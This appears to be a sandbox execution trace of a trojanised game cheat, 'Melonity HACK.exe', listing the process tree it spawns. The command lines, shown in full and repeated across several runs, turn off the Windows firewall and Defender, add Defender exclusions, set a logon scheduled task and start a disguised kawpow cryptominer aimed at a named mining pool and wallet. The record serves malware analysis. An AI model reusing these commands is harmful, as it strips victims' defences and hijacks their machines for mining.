"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=4940 /prefetch:8
2⤵
PID:2148

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6020 /prefetch:8
2⤵
PID:1528

C:\Users\Admin\Downloads\Melonity HACK.exe
"C:\Users\Admin\Downloads\Melonity HACK.exe"
2⤵
- Executes dropped EXE
- Checks computer location settings
- Modifies registry class
PID:3932

C:\ProgramData\Defender\ab.exe
C:\ProgramData\Defender\ab.exe -pMym5DNNMnqsLhbcZaef2Zau9zuxyKFRzEav3QTVA
3⤵
- Executes dropped EXE
- Checks computer location settings
- Modifies registry class
PID:4244

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\ProgramData\Defender\dd.vbs"
4⤵
PID:3148

C:\ProgramData\Defender\ac1.exe
C:\ProgramData\Defender\ac1.exe -pMym5DNNMnqsLhbcZaef2Zau9zuxyKFRzEav3QTVA
3⤵
- Executes dropped EXE
- Checks computer location settings
PID:3732

C:\ProgramData\Defender\u.exe
"C:\ProgramData\Defender\u.exe"
4⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:4136

C:\ProgramData\Defender\u.exe
"C:\ProgramData\Defender\u.exe"
3⤵
PID:4324

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\ProgramData\Defender\d.vbs"
3⤵
PID:5000

C:\ProgramData\Defender\d.exe
"C:\ProgramData\Defender\d.exe" 61 C:\ProgramData\Defender\d1.exe
4⤵
- Executes dropped EXE
PID:4712

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Defender\t.bat" "
4⤵
PID:3468

C:\Windows\SysWOW64\netsh.exe
NetSh Advfirewall set allprofiles state off
5⤵
PID:3360

C:\Windows\SysWOW64\net.exe
net stop windefend
5⤵
PID:212

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop windefend
6⤵
PID:4116

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData\Defender" /t REG_DWORD /d 0 /f
5⤵
PID:3220

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData\Task Host" /t REG_DWORD /d 0 /f
5⤵
PID:3752

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
5⤵
PID:2128

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v ServiceKeepAlive /t REG_DWORD /d 0 /f
5⤵
PID:4016

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableRoutinelyTakingAction /t REG_DWORD /d 1 /f
5⤵
PID:4692

C:\Windows\SysWOW64\schtasks.exe
SCHTASKS /CREATE /SC ONLOGON /TN "Windows Protection" /TR "C:\ProgramData\Defender\Start.exe" /f
5⤵
- Creates scheduled task(s)
PID:4856

C:\ProgramData\Defender\ac.exe
C:\ProgramData\Defender\ac.exe -pMym5DNNMnqsLhbcZaef2Zau9zuxyKFRzEav3QTVA
3⤵
- Executes dropped EXE
- Checks computer location settings
PID:2844

C:\ProgramData\Defender\min.exe
"C:\ProgramData\Defender\min.exe"
4⤵
- Executes dropped EXE
PID:1916

C:\ProgramData\Defender\Start.exe
C:\ProgramData\Defender\Start.exe
5⤵
- Executes dropped EXE
- Checks computer location settings
PID:3792

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\9A9A.tmp\9A9B.tmp\9A9C.bat C:\ProgramData\Defender\Start.exe"
6⤵
PID:3480

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
7⤵
PID:2076

C:\Windows\system32\timeout.exe
TIMEOUT /t 10
7⤵
- Delays execution with timeout.exe
PID:224

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\ProgramData\Defender\s.vbs"
7⤵
PID:116

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Defender\s.bat" "
8⤵
PID:4376

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -executionpolicy Unrestricted C:\ProgramData\Defender\timeout.ps1
9⤵
PID:1292

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ri0px40l\ri0px40l.cmdline"
10⤵
- Executes dropped EXE
PID:2236

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCA74.tmp" "c:\Users\Admin\AppData\Local\Temp\ri0px40l\CSCAB1027E5856E44C4BC98767FEC61198B.TMP"
11⤵
PID:3612

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\ProgramData\Defender\k.vbs"
10⤵
PID:3220

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Defender\k.bat" "
11⤵
PID:3564

C:\Windows\system32\taskkill.exe
taskkill /F /FI "imagename eq Windows Protection.exe"
12⤵
- Kills process with taskkill
PID:3860

C:\Windows\system32\taskkill.exe
taskkill /F /FI "imagename eq Windows Process.exe"
12⤵
- Kills process with taskkill
PID:2428

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\ProgramData\Defender\p.vbs"
10⤵
PID:4620

C:\ProgramData\Defender\Windows Protection.exe
"C:\ProgramData\Defender\Windows Protection.exe"
11⤵
PID:2268

C:\ProgramData\Defender\Windows Process.exe
"C:\ProgramData\Defender\Windows Process.exe" --no-watchdog -a kawpow -o stratum+tcp://stratum.ravenminer.com:3800 -i 30 -u RXuishujdXgfbAfeM6NYK1KsikNFPDHh7a.x
11⤵
PID:1120

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\ProgramData\Defender\k.vbs"
10⤵
PID:3964

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Defender\k.bat" "
11⤵
PID:2428

C:\Windows\system32\taskkill.exe
taskkill /F /FI "imagename eq Windows Protection.exe"
12⤵
- Kills process with taskkill
PID:3136

C:\Windows\system32\taskkill.exe
taskkill /F /FI "imagename eq Windows Process.exe"
12⤵
- Kills process with taskkill
PID:3296

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\ProgramData\Defender\k.vbs"
10⤵
PID:3564

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Defender\k.bat" "
11⤵
- Executes dropped EXE
PID:4692

C:\Windows\system32\taskkill.exe
taskkill /F /FI "imagename eq Windows Protection.exe"
12⤵
- Kills process with taskkill
PID:3752

C:\Windows\system32\taskkill.exe
taskkill /F /FI "imagename eq Windows Process.exe"
12⤵
- Kills process with taskkill
PID:5000

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\ProgramData\Defender\k.vbs"
10⤵
PID:2428

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Defender\k.bat" "
11⤵
PID:5116

C:\Windows\system32\taskkill.exe
taskkill /F /FI "imagename eq Windows Protection.exe"
12⤵
- Kills process with taskkill
PID:2568

C:\Windows\system32\taskkill.exe
taskkill /F /FI "imagename eq Windows Process.exe"
12⤵
- Executes dropped EXE
- Kills process with taskkill
PID:3688

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\ProgramData\Defender\k.vbs"
10⤵
PID:4320

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Defender\k.bat" "
11⤵
PID:3136

C:\Windows\system32\taskkill.exe
taskkill /F /FI "imagename eq Windows Protection.exe"
12⤵
- Kills process with taskkill
PID:2552

C:\Windows\system32\taskkill.exe
taskkill /F /FI "imagename eq Windows Process.exe"
12⤵
- Kills process with taskkill
PID:2944

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\ProgramData\Defender\k.vbs"
10⤵
PID:4764

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Defender\k.bat" "
11⤵
PID:4044

C:\Windows\system32\taskkill.exe
taskkill /F /FI "imagename eq Windows Protection.exe"
12⤵
- Kills process with taskkill
PID:4880

C:\Windows\system32\taskkill.exe
taskkill /F /FI "imagename eq Windows Process.exe"
12⤵
- Kills process with taskkill
PID:4672

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\ProgramData\Defender\p.vbs"
10⤵
PID:2784

C:\ProgramData\Defender\Windows Protection.exe
"C:\ProgramData\Defender\Windows Protection.exe"
11⤵
PID:2280

C:\ProgramData\Defender\Windows Process.exe
"C:\ProgramData\Defender\Windows Process.exe" --no-watchdog -a kawpow -o stratum+tcp://stratum.ravenminer.com:3800 -i 30 -u RXuishujdXgfbAfeM6NYK1KsikNFPDHh7a.x
11⤵
PID:4856

C:\ProgramData\Task Host\svchost.exe
"C:\ProgramData\Task Host\svchost.exe"
8⤵
PID:4300

C:\ProgramData\Task Host\svchost.exe
"C:\ProgramData\Task Host\svchost.exe"
7⤵
PID:4672

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\C515.tmp\C516.tmp\C517.bat "C:\ProgramData\Task Host\svchost.exe""
8⤵
PID:3384

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6828 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:60

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6760 /prefetch:8
2⤵
PID:4216

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=37 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6848 /prefetch:1
2⤵
PID:1512

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=38 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6860 /prefetch:1
2⤵
PID:2240

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7040 /prefetch:8
2⤵
PID:3120

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6928 /prefetch:8
2⤵
PID:3116

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7164 /prefetch:8
2⤵
PID:4872

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7200 /prefetch:8
2⤵
PID:116

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6984 /prefetch:8
2⤵
PID:1460

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=44 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7224 /prefetch:1
2⤵
PID:5004

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=45 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7252 /prefetch:1
2⤵
PID:4244

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4636 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:3284

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6404 /prefetch:8
2⤵
PID:2696

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5688 /prefetch:8
2⤵
PID:2456

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1248

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:2208

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:4880

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1980

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:4116

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:4508

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1248

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:4564

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:4164

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1812

C:\Users\Admin\Desktop\Melonity HACK.exe
"C:\Users\Admin\Desktop\Melonity HACK.exe"
1⤵
- Modifies registry class
PID:4384

C:\ProgramData\Defender\ab.exe
C:\ProgramData\Defender\ab.exe -pMym5DNNMnqsLhbcZaef2Zau9zuxyKFRzEav3QTVA
2⤵
PID:1932

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\ProgramData\Defender\dd.vbs"
3⤵
- Checks computer location settings
PID:216

C:\ProgramData\Defender\d.exe
"C:\ProgramData\Defender\d.exe" 61 C:\ProgramData\Defender\dd.bat
4⤵
- Executes dropped EXE
PID:5116

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Defender\t.bat" "
4⤵
PID:1336

C:\Windows\SysWOW64\netsh.exe
NetSh Advfirewall set allprofiles state off
5⤵
PID:1460

C:\Windows\SysWOW64\net.exe
net stop windefend
5⤵
PID:4828

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop windefend
6⤵
PID:4776

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData\Defender" /t REG_DWORD /d 0 /f
5⤵
PID:2056

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData\Task Host" /t REG_DWORD /d 0 /f
5⤵
PID:5000

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
5⤵
PID:1812

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v ServiceKeepAlive /t REG_DWORD /d 0 /f
5⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:4324

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableRoutinelyTakingAction /t REG_DWORD /d 1 /f
5⤵
PID:4552

C:\Windows\SysWOW64\schtasks.exe
SCHTASKS /CREATE /SC ONLOGON /TN "Windows Protection" /TR "C:\ProgramData\Defender\Start.exe" /f
5⤵
- Creates scheduled task(s)
PID:4728

C:\ProgramData\Defender\ac1.exe
C:\ProgramData\Defender\ac1.exe -pMym5DNNMnqsLhbcZaef2Zau9zuxyKFRzEav3QTVA
2⤵
- Executes dropped EXE
- Checks computer location settings
PID:3832

C:\ProgramData\Defender\u.exe
"C:\ProgramData\Defender\u.exe"
3⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:1460

C:\ProgramData\Defender\u.exe
"C:\ProgramData\Defender\u.exe"
2⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:4232

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\ProgramData\Defender\d.vbs"
2⤵
PID:940

C:\ProgramData\Defender\d.exe
"C:\ProgramData\Defender\d.exe" 61 C:\ProgramData\Defender\d1.exe
3⤵
PID:4692

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Defender\t.bat" "
3⤵
PID:1884

C:\Windows\SysWOW64\netsh.exe
NetSh Advfirewall set allprofiles state off
4⤵
PID:1832

C:\Windows\SysWOW64\net.exe
net stop windefend
4⤵
PID:5048

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop windefend
5⤵
PID:1336

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData\Defender" /t REG_DWORD /d 0 /f
4⤵
PID:2112

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData\Task Host" /t REG_DWORD /d 0 /f
4⤵
PID:4280

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
4⤵
PID:2236

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v ServiceKeepAlive /t REG_DWORD /d 0 /f
4⤵
PID:4672

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableRoutinelyTakingAction /t REG_DWORD /d 1 /f
4⤵
PID:1028

C:\Windows\SysWOW64\schtasks.exe
SCHTASKS /CREATE /SC ONLOGON /TN "Windows Protection" /TR "C:\ProgramData\Defender\Start.exe" /f
4⤵
- Creates scheduled task(s)
PID:4692

C:\ProgramData\Defender\ac.exe
C:\ProgramData\Defender\ac.exe -pMym5DNNMnqsLhbcZaef2Zau9zuxyKFRzEav3QTVA
2⤵
- Executes dropped EXE
- Checks computer location settings
PID:4284

C:\Users\Admin\Desktop\Melonity HACK.exe
"C:\Users\Admin\Desktop\Melonity HACK.exe"
1⤵
- Modifies registry class
PID:1528

C:\ProgramData\Defender\ab.exe
C:\ProgramData\Defender\ab.exe -pMym5DNNMnqsLhbcZaef2Zau9zuxyKFRzEav3QTVA
2⤵
- Executes dropped EXE
- Checks computer location settings
- Modifies registry class
PID:2944

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\ProgramData\Defender\dd.vbs"
3⤵
- Checks computer location settings
PID:3600

C:\ProgramData\Defender\d.exe
"C:\ProgramData\Defender\d.exe" 61 C:\ProgramData\Defender\dd.bat
4⤵
- Executes dropped EXE
PID:1172

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Defender\t.bat" "
4⤵
- Executes dropped EXE
- Checks computer location settings
- Modifies registry class
PID:1932

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
5⤵
PID:3752

C:\Windows\SysWOW64\netsh.exe
NetSh Advfirewall set allprofiles state off
5⤵
PID:4492

C:\Windows\SysWOW64\net.exe
net stop windefend
5⤵
PID:3612

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop windefend
6⤵
PID:2076

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData\Defender" /t REG_DWORD /d 0 /f
5⤵
PID:116

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData\Task Host" /t REG_DWORD /d 0 /f
5⤵
PID:3060

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
5⤵
PID:1304

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v ServiceKeepAlive /t REG_DWORD /d 0 /f
5⤵
PID:2236

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableRoutinelyTakingAction /t REG_DWORD /d 1 /f
5⤵
PID:4252

C:\Windows\SysWOW64\schtasks.exe
SCHTASKS /CREATE /SC ONLOGON /TN "Windows Protection" /TR "C:\ProgramData\Defender\Start.exe" /f
5⤵
- Creates scheduled task(s)
PID:4320

C:\ProgramData\Defender\ac1.exe
C:\ProgramData\Defender\ac1.exe -pMym5DNNMnqsLhbcZaef2Zau9zuxyKFRzEav3QTVA
2⤵
- Executes dropped EXE
- Checks computer location settings
PID:3468

C:\ProgramData\Defender\u.exe
"C:\ProgramData\Defender\u.exe"
3⤵
PID:1488

C:\ProgramData\Defender\u.exe
"C:\ProgramData\Defender\u.exe"
2⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:1812

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\ProgramData\Defender\d.vbs"
2⤵
- Executes dropped EXE
- Checks computer location settings
- Drops file in System32 directory
PID:1488

C:\ProgramData\Defender\d.exe
"C:\ProgramData\Defender\d.exe" 61 C:\ProgramData\Defender\d1.exe
3⤵
PID:3688

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Defender\t.bat" "
3⤵
PID:4040

C:\Windows\SysWOW64\netsh.exe
NetSh Advfirewall set allprofiles state off
4⤵
PID:940

C:\Windows\SysWOW64\net.exe
net stop windefend
4⤵
PID:3564

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop windefend
5⤵
PID:4724

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData\Defender" /t REG_DWORD /d 0 /f
4⤵
PID:3468

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData\Task Host" /t REG_DWORD /d 0 /f
4⤵
PID:4196

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
4⤵
PID:4492

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v ServiceKeepAlive /t REG_DWORD /d 0 /f
4⤵
PID:2808

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableRoutinelyTakingAction /t REG_DWORD /d 1 /f
4⤵
PID:4828

C:\Windows\SysWOW64\schtasks.exe
SCHTASKS /CREATE /SC ONLOGON /TN "Windows Protection" /TR "C:\ProgramData\Defender\Start.exe" /f
4⤵
- Creates scheduled task(s)
PID:2032

C:\ProgramData\Defender\ac.exe
C:\ProgramData\Defender\ac.exe -pMym5DNNMnqsLhbcZaef2Zau9zuxyKFRzEav3QTVA
2⤵
PID:2236

C:\ProgramData\Defender\min.exe
"C:\ProgramData\Defender\min.exe"
3⤵
PID:1916

C:\ProgramData\Defender\Start.exe
C:\ProgramData\Defender\Start.exe
4⤵
PID:3960

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\C757.tmp\C758.tmp\C759.bat C:\ProgramData\Defender\Start.exe"
5⤵
PID:4164

C:\Windows\system32\timeout.exe
TIMEOUT /t 10
6⤵
- Delays execution with timeout.exe
PID:1152

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\ProgramData\Defender\s.vbs"
6⤵
PID:4216

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Defender\s.bat" "
7⤵
PID:4396

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -executionpolicy Unrestricted C:\ProgramData\Defender\timeout.ps1
8⤵
- Executes dropped EXE
PID:1916

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\x0xrdeww\x0xrdeww.cmdline"
9⤵
PID:380

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF117.tmp" "c:\Users\Admin\AppData\Local\Temp\x0xrdeww\CSCD41496A7B9DC475C87FF9C48CB44F9B.TMP"
10⤵
PID:4672

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\ProgramData\Defender\k.vbs"
9⤵
PID:1484

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Defender\k.bat" "
10⤵
PID:1248

C:\Windows\system32\taskkill.exe
taskkill /F /FI "imagename eq Windows Protection.exe"
11⤵
- Kills process with taskkill
PID:2784

C:\Windows\system32\taskkill.exe
taskkill /F /FI "imagename eq Windows Process.exe"
11⤵
- Kills process with taskkill
PID:4044

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\ProgramData\Defender\k.vbs"
9⤵
PID:2972

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Defender\k.bat" "
10⤵
PID:3296

C:\Windows\system32\taskkill.exe
taskkill /F /FI "imagename eq Windows Protection.exe"
11⤵
- Kills process with taskkill
PID:3792

C:\Windows\system32\taskkill.exe
taskkill /F /FI "imagename eq Windows Process.exe"
11⤵
- Kills process with taskkill
PID:476

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\ProgramData\Defender\k.vbs"
9⤵
PID:2944

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Defender\k.bat" "
10⤵
PID:1028

C:\Windows\system32\taskkill.exe
taskkill /F /FI "imagename eq Windows Protection.exe"
11⤵
- Kills process with taskkill
PID:3688

C:\Windows\system32\taskkill.exe
taskkill /F /FI "imagename eq Windows Process.exe"
11⤵
- Kills process with taskkill
PID:4580

C:\ProgramData\Task Host\svchost.exe
"C:\ProgramData\Task Host\svchost.exe"
7⤵
PID:3860

C:\Windows\system32\cmd.exe
